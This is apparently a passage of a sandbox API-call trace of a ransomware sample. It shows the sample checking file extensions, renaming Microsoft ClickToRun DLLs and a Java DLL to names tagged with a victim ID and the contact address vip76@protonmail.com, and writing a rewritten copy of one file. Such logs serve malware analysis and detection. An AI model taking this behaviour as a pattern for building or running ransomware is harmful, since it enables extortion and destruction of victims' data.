	[0205.669] lstrlenW (lpString=".dbf") returned 4
	[0205.669] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0205.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0205.669] lstrlenW (lpString=".1cd") returned 4
	[0205.669] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0205.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0205.669] lstrlenW (lpString=".jpg") returned 4
	[0205.669] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0205.670] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0205.670] lstrlenW (lpString="AppVCatalog.dll") returned 15
	[0205.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0205.670] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=656088) returned 1
	[0205.670] CloseHandle (hObject=0x340) returned 1
	[0205.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20
	[0205.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0205.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0205.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0205.671] lstrlenW (lpString=".doc") returned 4
	[0205.671] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0205.671] lstrlenW (lpString=".docx") returned 5
	[0205.671] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0205.671] lstrlenW (lpString=".pdf") returned 4
	[0205.671] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0205.671] lstrlenW (lpString=".xls") returned 4
	[0205.671] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0205.671] lstrlenW (lpString=".xlsx") returned 5
	[0205.671] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0205.671] lstrlenW (lpString=".ppt") returned 4
	[0205.671] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0205.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0205.671] lstrlenW (lpString=".zip") returned 4
	[0205.671] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0205.671] lstrlenW (lpString=".rar") returned 4
	[0205.671] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0205.671] lstrlenW (lpString=".bz2") returned 4
	[0205.671] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0205.671] lstrlenW (lpString=".7z") returned 3
	[0205.671] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0205.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0205.671] lstrlenW (lpString=".dbf") returned 4
	[0205.671] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0205.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0205.671] lstrlenW (lpString=".1cd") returned 4
	[0205.671] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0205.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0205.671] lstrlenW (lpString=".jpg") returned 4
	[0205.671] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0205.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0205.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0205.672] lstrlenW (lpString=".doc") returned 4
	[0205.672] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0205.672] lstrlenW (lpString=".docx") returned 5
	[0205.672] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0205.672] lstrlenW (lpString=".pdf") returned 4
	[0205.672] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0205.672] lstrlenW (lpString=".xls") returned 4
	[0205.672] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0205.672] lstrlenW (lpString=".xlsx") returned 5
	[0205.672] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0205.672] lstrlenW (lpString=".ppt") returned 4
	[0205.672] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0205.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0205.672] lstrlenW (lpString=".zip") returned 4
	[0205.672] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0205.672] lstrlenW (lpString=".rar") returned 4
	[0205.672] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0205.672] lstrlenW (lpString=".bz2") returned 4
	[0205.672] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0205.672] lstrlenW (lpString=".7z") returned 3
	[0205.672] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0205.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0205.672] lstrlenW (lpString=".dbf") returned 4
	[0205.672] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0205.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0205.672] lstrlenW (lpString=".1cd") returned 4
	[0205.672] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0205.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0205.672] lstrlenW (lpString=".jpg") returned 4
	[0205.672] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0205.673] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0205.673] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26
	[0205.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0205.673] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=307416) returned 1
	[0205.673] CloseHandle (hObject=0x340) returned 1
	[0205.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20
	[0205.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0205.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0205.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0205.673] lstrlenW (lpString=".doc") returned 4
	[0205.673] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0205.673] lstrlenW (lpString=".docx") returned 5
	[0205.674] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0205.674] lstrlenW (lpString=".pdf") returned 4
	[0205.674] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0205.674] lstrlenW (lpString=".xls") returned 4
	[0205.674] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0205.674] lstrlenW (lpString=".xlsx") returned 5
	[0205.674] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0205.674] lstrlenW (lpString=".ppt") returned 4
	[0205.674] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0205.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0205.674] lstrlenW (lpString=".zip") returned 4
	[0205.674] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0205.674] lstrlenW (lpString=".rar") returned 4
	[0205.674] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0205.674] lstrlenW (lpString=".bz2") returned 4
	[0205.674] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0205.674] lstrlenW (lpString=".7z") returned 3
	[0205.674] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0205.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0205.674] lstrlenW (lpString=".dbf") returned 4
	[0205.674] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0205.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0205.674] lstrlenW (lpString=".1cd") returned 4
	[0205.674] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0205.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0205.674] lstrlenW (lpString=".jpg") returned 4
	[0205.674] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0205.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0205.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0205.674] lstrlenW (lpString=".doc") returned 4
	[0205.674] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0205.674] lstrlenW (lpString=".docx") returned 5
	[0205.674] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0205.674] lstrlenW (lpString=".pdf") returned 4
	[0205.675] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0205.675] lstrlenW (lpString=".xls") returned 4
	[0205.675] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0205.675] lstrlenW (lpString=".xlsx") returned 5
	[0205.675] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0205.675] lstrlenW (lpString=".ppt") returned 4
	[0205.675] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0205.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0205.675] lstrlenW (lpString=".zip") returned 4
	[0205.675] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0205.675] lstrlenW (lpString=".rar") returned 4
	[0205.675] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0205.675] lstrlenW (lpString=".bz2") returned 4
	[0205.675] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0205.675] lstrlenW (lpString=".7z") returned 3
	[0205.675] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0205.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0205.675] lstrlenW (lpString=".dbf") returned 4
	[0205.675] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0205.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0205.675] lstrlenW (lpString=".1cd") returned 4
	[0205.675] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0205.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0205.675] lstrlenW (lpString=".jpg") returned 4
	[0205.675] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0205.675] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0205.675] lstrlenW (lpString="AppVIntegration.dll") returned 19
	[0205.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0205.676] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=2118360) returned 1
	[0205.676] CloseHandle (hObject=0x340) returned 1
	[0205.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20
	[0205.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0205.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0205.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0205.677] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[vip76@protonmail.com].html"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1
	[0205.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0205.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0205.678] lstrlenW (lpString=".doc") returned 4
	[0205.678] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0205.678] lstrlenW (lpString=".docx") returned 5
	[0205.678] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0205.678] lstrlenW (lpString=".pdf") returned 4
	[0205.678] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0205.678] lstrlenW (lpString=".xls") returned 4
	[0205.678] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0205.678] lstrlenW (lpString=".xlsx") returned 5
	[0205.679] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0205.679] lstrlenW (lpString=".ppt") returned 4
	[0205.679] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0205.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0205.679] lstrlenW (lpString=".zip") returned 4
	[0205.679] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0205.679] lstrlenW (lpString=".rar") returned 4
	[0205.679] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0205.679] lstrlenW (lpString=".bz2") returned 4
	[0205.679] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0205.679] lstrlenW (lpString=".7z") returned 3
	[0205.679] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0205.680] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0205.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0205.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[vip76@protonmail.com].html"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 1
	[0205.683] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0205.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0205.685] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[vip76@protonmail.com].html"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1
	[0205.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0205.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0205.687] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[vip76@protonmail.com].html"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1
	[0205.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0205.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0205.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[vip76@protonmail.com].html"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1
	[0205.690] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0205.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0205.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[vip76@protonmail.com].html"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1
	[0206.321] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.322] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.322] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0206.322] GetLastError () returned 0x0
	[0206.322] ReadFile (in: hFile=0x354, lpBuffer=0x3f91020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesRead=0x353fecc*=0x9fa40, lpOverlapped=0x0) returned 1
	[0206.799] WriteFile (in: hFile=0x358, lpBuffer=0x3f91020*, nNumberOfBytesToWrite=0x9fa50, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesWritten=0x353fc94*=0x9fa50, lpOverlapped=0x0) returned 1
	[0206.813] ReadFile (in: hFile=0x354, lpBuffer=0x3f91020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1
	[0206.813] WriteFile (in: hFile=0x358, lpBuffer=0x3f91020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesWritten=0x353fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0206.813] SetEndOfFile (hFile=0x358) returned 1
	[0206.813] CloseHandle (hObject=0x358) returned 1
